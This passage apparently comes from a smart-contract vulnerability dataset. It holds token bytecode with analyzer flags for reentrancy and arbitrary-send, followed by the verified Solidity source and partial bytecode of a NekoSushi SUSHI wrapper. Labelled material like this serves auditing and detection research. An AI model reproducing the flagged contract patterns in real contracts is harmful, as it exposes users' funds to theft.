16108b690612c81565b60405180910390fd5b600081101580156108d1575060198111155b610910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090790612c41565b60405180910390fd5b8060098190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109486112d8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cc90612c81565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a716112d8565b73ffffffffffffffffffffffffffffffffffffffff161480610ae75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610acf6112d8565b73ffffffffffffffffffffffffffffffffffffffff16145b610af057600080fd5b6000479050610afe81611a07565b50565b6000610b4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b02565b9050919050565b610b5a6112d8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612c81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b610cb36112d8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3790612c81565b60405180910390fd5b60008110158015610d52575060198111155b610d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8890612d01565b60405180910390fd5b8060088190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b41534549000000000000000000000000000000000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e426112d8565b73ffffffffffffffffffffffffffffffffffffffff161480610eb85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ea06112d8565b73ffffffffffffffffffffffffffffffffffffffff16145b80610efc5750610ec6610d9b565b73ffffffffffffffffffffffffffffffffffffffff16610ee46112d8565b73ffffffffffffffffffffffffffffffffffffffff16145b610f0557600080fd5b8060138190555050565b6000610f23610f1c6112d8565b84846114ab565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f6e6112d8565b73ffffffffffffffffffffffffffffffffffffffff161480610fe45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fcc6112d8565b73ffffffffffffffffffffffffffffffffffffffff16145b610fed57600080fd5b6000610ff830610b01565b905061100381611b70565b50565b61100e6112d8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109290612c81565b60405180910390fd5b601160149054906101000a900460ff16156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612b81565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b6111106112d8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612c81565b60405180910390fd5b600081116111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790612c21565b60405180910390fd5b61120f606461120183683635c9adc5dea00000611e6a90919063ffffffff16565b611ee590919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516112469190612d21565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611350576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134790612ce1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790612be1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149e9190612d21565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151290612cc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158290612b61565b60405180910390fd5b600081116115ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c590612ca1565b60405180910390fd5b6115d6610d9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116445750611614610d9b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118e057601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806116f25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561174757601160149054906101000a900460ff16611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90612ba1565b60405180910390fd5b5b60125481111561175657600080fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117fa5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61180357600080fd5b600061180e30610b01565b90506000601354821015905060125482106118295760125491505b8080156118435750601160159054906101000a900460ff16155b801561189d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118b55750601160169054906101000a900460ff165b156118dd576118c382611b70565b600047905060008111156118db576118da47611a07565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561199157600090505b61199d84848484611f2f565b50505050565b60008383111582906119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e29190612b3f565b60405180910390fd5b50600083856119fa9190612f38565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a57600284611ee590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a82573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ad3600284611ee590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611afe573d6000803e3d6000fd5b5050565b6000600654821115611b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4090612bc1565b60405180910390fd5b6000611b53611f5c565b9050611b688184611ee590919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611bfc5781602001602082028036833780820191505090505b5090503081600081518110611c3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cdc57600080fd5b505afa158015611cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d149190612692565b81600181518110611d4e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611db530601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112e0565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e19959493929190612d3c565b600060405180830381600087803b158015611e3357600080fd5b505af1158015611e47573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611e7d5760009050611edf565b60008284611e8b9190612ede565b9050828482611e9a9190612ead565b14611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed190612c61565b60405180910390fd5b809150505b92915050565b6000611f2783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f87565b905092915050565b80611f3d57611f3c611fea565b5b611f4884848461202d565b80611f5657611f556121f8565b5b50505050565b6000806000611f6961220c565b91509150611f808183611ee590919063ffffffff16565b9250505090565b60008083118290611fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc59190612b3f565b60405180910390fd5b5060008385611fdd9190612ead565b9050809150509392505050565b6000600854148015611ffe57506000600954145b156120085761202b565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b60008060008060008061203f8761226e565b95509550955095509550955061209d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217e8161237e565b612188848361243b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121e59190612d21565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b600080600060065490506000683635c9adc5dea000009050612242683635c9adc5dea00000600654611ee590919063ffffffff16565b82101561226157600654683635c9adc5dea0000093509350505061226a565b81819350935050505b9091565b600080600080600080600080600061228b8a600854600954612475565b925092509250600061229b611f5c565b905060008060006122ae8e87878761250b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061231883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119a3565b905092915050565b600080828461232f9190612e57565b905083811015612374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236b90612c01565b60405180910390fd5b8091505092915050565b6000612388611f5c565b9050600061239f8284611e6a90919063ffffffff16565b90506123f381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612450826006546122d690919063ffffffff16565b60068190555061246b8160075461232090919063ffffffff16565b6007819055505050565b6000806000806124a16064612493888a611e6a90919063ffffffff16565b611ee590919063ffffffff16565b905060006124cb60646124bd888b611e6a90919063ffffffff16565b611ee590919063ffffffff16565b905060006124f4826124e6858c6122d690919063ffffffff16565b6122d690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806125248589611e6a90919063ffffffff16565b9050600061253b8689611e6a90919063ffffffff16565b905060006125528789611e6a90919063ffffffff16565b9050600061257b8261256d85876122d690919063ffffffff16565b6122d690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125a76125a284612dd6565b612db1565b905080838252602082019050828560208602820111156125c657600080fd5b60005b858110156125f657816125dc8882612600565b8452602084019350602083019250506001810190506125c9565b5050509392505050565b60008135905061260f8161348a565b92915050565b6000815190506126248161348a565b92915050565b600082601f83011261263b57600080fd5b813561264b848260208601612594565b91505092915050565b600081359050612663816134a1565b92915050565b60006020828403121561267b57600080fd5b600061268984828501612600565b91505092915050565b6000602082840312156126a457600080fd5b60006126b284828501612615565b91505092915050565b600080604083850312156126ce57600080fd5b60006126dc85828601612600565b92505060206126ed85828601612600565b9150509250929050565b60008060006060848603121561270c57600080fd5b600061271a86828701612600565b935050602061272b86828701612600565b925050604061273c86828701612654565b9150509250925092565b6000806040838503121561275957600080fd5b600061276785828601612600565b925050602061277885828601612654565b9150509250929050565b60006020828403121561279457600080fd5b600082013567ffffffffffffffff8111156127ae57600080fd5b6127ba8482850161262a565b91505092915050565b6000602082840312156127d557600080fd5b60006127e384828501612654565b91505092915050565b60006127f88383612804565b60208301905092915050565b61280d81612f6c565b82525050565b61281c81612f6c565b82525050565b600061282d82612e12565b6128378185612e35565b935061284283612e02565b8060005b8381101561287357815161285a88826127ec565b975061286583612e28565b925050600181019050612846565b5085935050505092915050565b61288981612f7e565b82525050565b61289881612fc1565b82525050565b6128a781612fe5565b82525050565b60006128b882612e1d565b6128c28185612e46565b93506128d2818560208601612ff7565b6128db81613131565b840191505092915050565b60006128f3602383612e46565b91506128fe82613142565b604082019050919050565b6000612916601a83612e46565b915061292182613191565b602082019050919050565b6000612939601a83612e46565b9150612944826131ba565b602082019050919050565b600061295c602a83612e46565b9150612967826131e3565b604082019050919050565b600061297f602283612e46565b915061298a82613232565b604082019050919050565b60006129a2601b83612e46565b91506129ad82613281565b602082019050919050565b60006129c5601d83612e46565b91506129d0826132aa565b602082019050919050565b60006129e8601b83612e46565b91506129f3826132d3565b602082019050919050565b6000612a0b602183612e46565b9150612a16826132fc565b604082019050919050565b6000612a2e602083612e46565b9150612a398261334b565b602082019050919050565b6000612a51602983612e46565b9150612a5c82613374565b604082019050919050565b6000612a74602583612e46565b9150612a7f826133c3565b604082019050919050565b6000612a97602483612e46565b9150612aa282613412565b604082019050919050565b6000612aba601f83612e46565b9150612ac582613461565b602082019050919050565b612ad981612faa565b82525050565b612ae881612fb4565b82525050565b6000602082019050612b036000830184612813565b92915050565b6000602082019050612b1e6000830184612880565b92915050565b6000602082019050612b39600083018461288f565b92915050565b60006020820190508181036000830152612b5981846128ad565b905092915050565b60006020820190508181036000830152612b7a816128e6565b9050919050565b60006020820190508181036000830152612b9a81612909565b9050919050565b60006020820190508181036000830152612bba8161292c565b9050919050565b60006020820190508181036000830152612bda8161294f565b9050919050565b60006020820190508181036000830152612bfa81612972565b9050919050565b60006020820190508181036000830152612c1a81612995565b9050919050565b60006020820190508181036000830152612c3a816129b8565b9050919050565b60006020820190508181036000830152612c5a816129db565b9050919050565b60006020820190508181036000830152612c7a816129fe565b9050919050565b60006020820190508181036000830152612c9a81612a21565b9050919050565b60006020820190508181036000830152612cba81612a44565b9050919050565b60006020820190508181036000830152612cda81612a67565b9050919050565b60006020820190508181036000830152612cfa81612a8a565b9050919050565b60006020820190508181036000830152612d1a81612aad565b9050919050565b6000602082019050612d366000830184612ad0565b92915050565b600060a082019050612d516000830188612ad0565b612d5e602083018761289e565b8181036040830152612d708186612822565b9050612d7f6060830185612813565b612d8c6080830184612ad0565b9695505050505050565b6000602082019050612dab6000830184612adf565b92915050565b6000612dbb612dcc565b9050612dc7828261302a565b919050565b6000604051905090565b600067ffffffffffffffff821115612df157612df0613102565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e6282612faa565b9150612e6d83612faa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ea257612ea16130a4565b5b828201905092915050565b6000612eb882612faa565b9150612ec383612faa565b925082612ed357612ed26130d3565b5b828204905092915050565b6000612ee982612faa565b9150612ef483612faa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f2d57612f2c6130a4565b5b828202905092915050565b6000612f4382612faa565b9150612f4e83612faa565b925082821015612f6157612f606130a4565b5b828203905092915050565b6000612f7782612f8a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fcc82612fd3565b9050919050565b6000612fde82612f8a565b9050919050565b6000612ff082612faa565b9050919050565b60005b83811015613015578082015181840152602081019050612ffa565b83811115613024576000848401525b50505050565b61303382613131565b810181811067ffffffffffffffff8211171561305257613051613102565b5b80604052505050565b600061306682612faa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613099576130986130a4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f6d6172734665652073686f756c6420626520696e2030202d2032350000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f72656469735265776172642073686f756c6420626520696e2030202d20323500600082015250565b61349381612f6c565b811461349e57600080fd5b50565b6134aa81612faa565b81146134b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220900bfabe5e22a3d141f769e18947eb5ed5f8c1b337a6e2c473d6100bcf69045964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,093
0x1aa121a1507a956a6d94ae728f16b754aca13f68
/** *Submitted for verification at Etherscan.io on 2021-05-14 */ // SPDX-License-Identifier: UNLICENSED // @title NekoSushi....🐈_🍣_🍱 // @author Gatoshi Nyakamoto pragma solidity 0.8.4; // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT /// @dev Adapted for NekoSushi. contract Domain { bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"); /// @dev See https://eips.ethereum.org/EIPS/eip-191. string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01"; bytes32 private immutable _DOMAIN_SEPARATOR; uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID; /// @dev Calculate the DOMAIN_SEPARATOR. function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) { return keccak256(abi.encode(DOMAIN_SEPARATOR_SIGNATURE_HASH, chainId, address(this))); } constructor() { uint256 chainId; assembly { chainId := chainid() } _DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId); } /// @dev Return the DOMAIN_SEPARATOR. function DOMAIN_SEPARATOR() public view returns (bytes32) { uint256 chainId; assembly { chainId := chainid() } return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId); } function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) { digest = keccak256(abi.encodePacked(EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA, DOMAIN_SEPARATOR(), dataHash)); } } // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT /// @dev Adapted for NekoSushi. contract ERC20 is Domain { /// @notice owner > balance mapping. mapping(address => uint256) public balanceOf; /// @notice owner > spender > allowance mapping. mapping(address => mapping(address => uint256)) public allowance; /// @notice owner > nonce mapping (used in {permit}). mapping(address => uint256) public nonces; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /// @notice Transfers `amount` tokens from `msg.sender` to `to`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns True if succeeded. function transfer(address to, uint256 amount) external returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(msg.sender, to, amount); return true; } /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`. /// @param from Address to draw tokens `from`. /// @param to The address to move tokens `to`. /// @param amount The token `amount` to move. /// @return (bool) Returns True if succeeded. function transferFrom(address from, address to, uint256 amount) external returns (bool) { // @dev If allowance is infinite, don't decrease it to save on gas (breaks with ERC-20). if (allowance[from][msg.sender] != type(uint256).max) { allowance[from][msg.sender] -= amount; } balanceOf[from] -= amount; balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } /// @notice Approves `amount` from msg.sender to be spent by `spender`. /// @param spender Address of the party that can draw tokens from msg.sender's account. /// @param amount The maximum collective `amount` that `spender` can draw. /// @return (bool) Returns True if approved. function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /// @dev keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"). bytes32 private constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice Approves `amount` from `owner` to be spent by `spender` using EIP-2612 method. /// @param owner Address of the `owner`. /// @param spender The address of the `spender` that gets approved to draw from `owner`. /// @param amount The maximum collective `amount` that `spender` can draw. /// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds). function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner != address(0), "ERC20: Owner cannot be 0"); require(block.timestamp < deadline, "ERC20: Expired"); require( ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner, spender, amount, nonces[owner]++, deadline))), v, r, s) == owner, "ERC20: Invalid Signature" ); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } } // File @boringcrypto/boring-solidity/contracts/[email protected] // License-Identifier: MIT /// @dev Adapted for NekoSushi. contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi-encoded, this call can fail itself. function _getRevertMsg(bytes memory _returnData) private pure returns (string memory) { // @dev If the length is less than 68, the transaction failed silently (without a revert message). if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // @dev Slice the sighash. _returnData := add(_returnData, 0x04) } // @dev All that remains is the revert string. return abi.decode(_returnData, (string)); } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True, reverts after a failed call and stops further calls. function batch(bytes[] calldata calls, bool revertOnFail) external { for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); if (!success && revertOnFail) { revert(_getRevertMsg(result)); } } } } /// @notice Interface for depositing into and withdrawing from BentoBox vault. interface IERC20{} interface IBentoBoxBasic { function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into and withdrawing from SushiBar. interface ISushiBar { function balanceOf(address account) external view returns (uint256); function enter(uint256 amount) external; function leave(uint256 share) external; function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } /// @notice NekoSushi takes SUSHI / xSUSHI to mint NYAN tokens that can be burned to claim SUSHI / xSUSHI from BENTO with yields. // ៱˳_˳៱ ∫ contract NekoSushi is ERC20, BaseBoringBatchable { IBentoBoxBasic private constant bentoBox = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract ISushiBar private constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract address private constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI string public constant name = "NekoSushi"; string public constant symbol = "NYAN"; uint8 public constant decimals = 18; uint256 private constant multiplier = 999; // 1 xSUSHI BENTO share = 999 NYAN uint256 public totalSupply; constructor() { sushiToken.approve(sushiBar, type(uint256).max); // max approve xSUSHI to draw SUSHI from this contract ISushiBar(sushiBar).approve(address(bentoBox), type(uint256).max); // max approve BENTO to draw xSUSHI from this contract } // **** xSUSHI /// @notice Enter NekoSushi. Deposit xSUSHI `amount`. Mint NYAN for `to`. function nyan(address to, uint256 amount) external returns (uint256 shares) { ISushiBar(sushiBar).transferFrom(msg.sender, address(this), amount); (, shares) = bentoBox.deposit(IERC20(sushiBar), address(this), address(this), amount, 0); nyanMint(to, shares * multiplier); } /// @notice Leave NekoSushi. Burn NYAN `amount`. Claim xSUSHI for `to`. function unNyan(address to, uint256 amount) external returns (uint256 amountOut) { nyanBurn(amount); (amountOut, ) = bentoBox.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier); } // **** SUSHI /// @notice Enter NekoSushi. Deposit SUSHI `amount`. Mint NYAN for `to`. function nyanSushi(address to, uint256 amount) external returns (uint256 shares) { sushiToken.transferFrom(msg.sender, address(this), amount); ISushiBar(sushiBar).enter(amount); (, shares) = bentoBox.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0); nyanMint(to, shares * multiplier); } /// @notice Leave NekoSushi. Burn NYAN `amount`. Claim SUSHI for `to`. function unNyanSushi(address to, uint256 amount) external returns (uint256 amountOut) { nyanBurn(amount); (amountOut, ) = bentoBox.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier); ISushiBar(sushiBar).leave(amountOut); sushiToken.transfer(to, sushiToken.balanceOf(address(this))); } // **** SUPPLY /// @notice Internal mint function for *nyan*. function nyanMint(address to, uint256 amount) private { balanceOf[to] += amount; totalSupply += amount; emit Transfer(address(0), to, amount); } /// @notice Internal burn function for *unNyan*. function nyanBurn(uint256 amount) private { balanceOf[msg.sender] -= amount; totalSupply -= amount; emit Transfer(msg.sender, address(0), amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb14610259578063ba9ebc351461026c578063d2423b511461027f578063d505accf14610294578063dd62ed3e146102a757600080fd5b806370a08231146101e35780637ecebe001461020357806395d89b41146102235780639a7bdfb61461024657600080fd5b806323b872dd116100de57806323b872dd1461019b578063313ce567146101ae5780633644e515146101c85780633f4b0e52146101d057600080fd5b806306fdde0314610110578063095ea7b31461014e57806316c84f351461017157806318160ddd14610192575b600080fd5b610138604051806040016040528060098152602001684e656b6f537573686960b81b81525081565b604051610145919061136a565b60405180910390f35b61016161015c366004611155565b6102d2565b6040519015158152602001610145565b61018461017f366004611155565b61033f565b604051908152602001610145565b61018460035481565b6101616101a93660046110a9565b610569565b6101b6601281565b60405160ff9091168152602001610145565b61018461066f565b6101846101de366004611155565b6106cf565b6101846101f1366004611056565b60006020819052908152604090205481565b610184610211366004611056565b60026020526000908152604090205481565b61013860405180604001604052806004815260200163272ca0a760e11b81525081565b61018461025436600461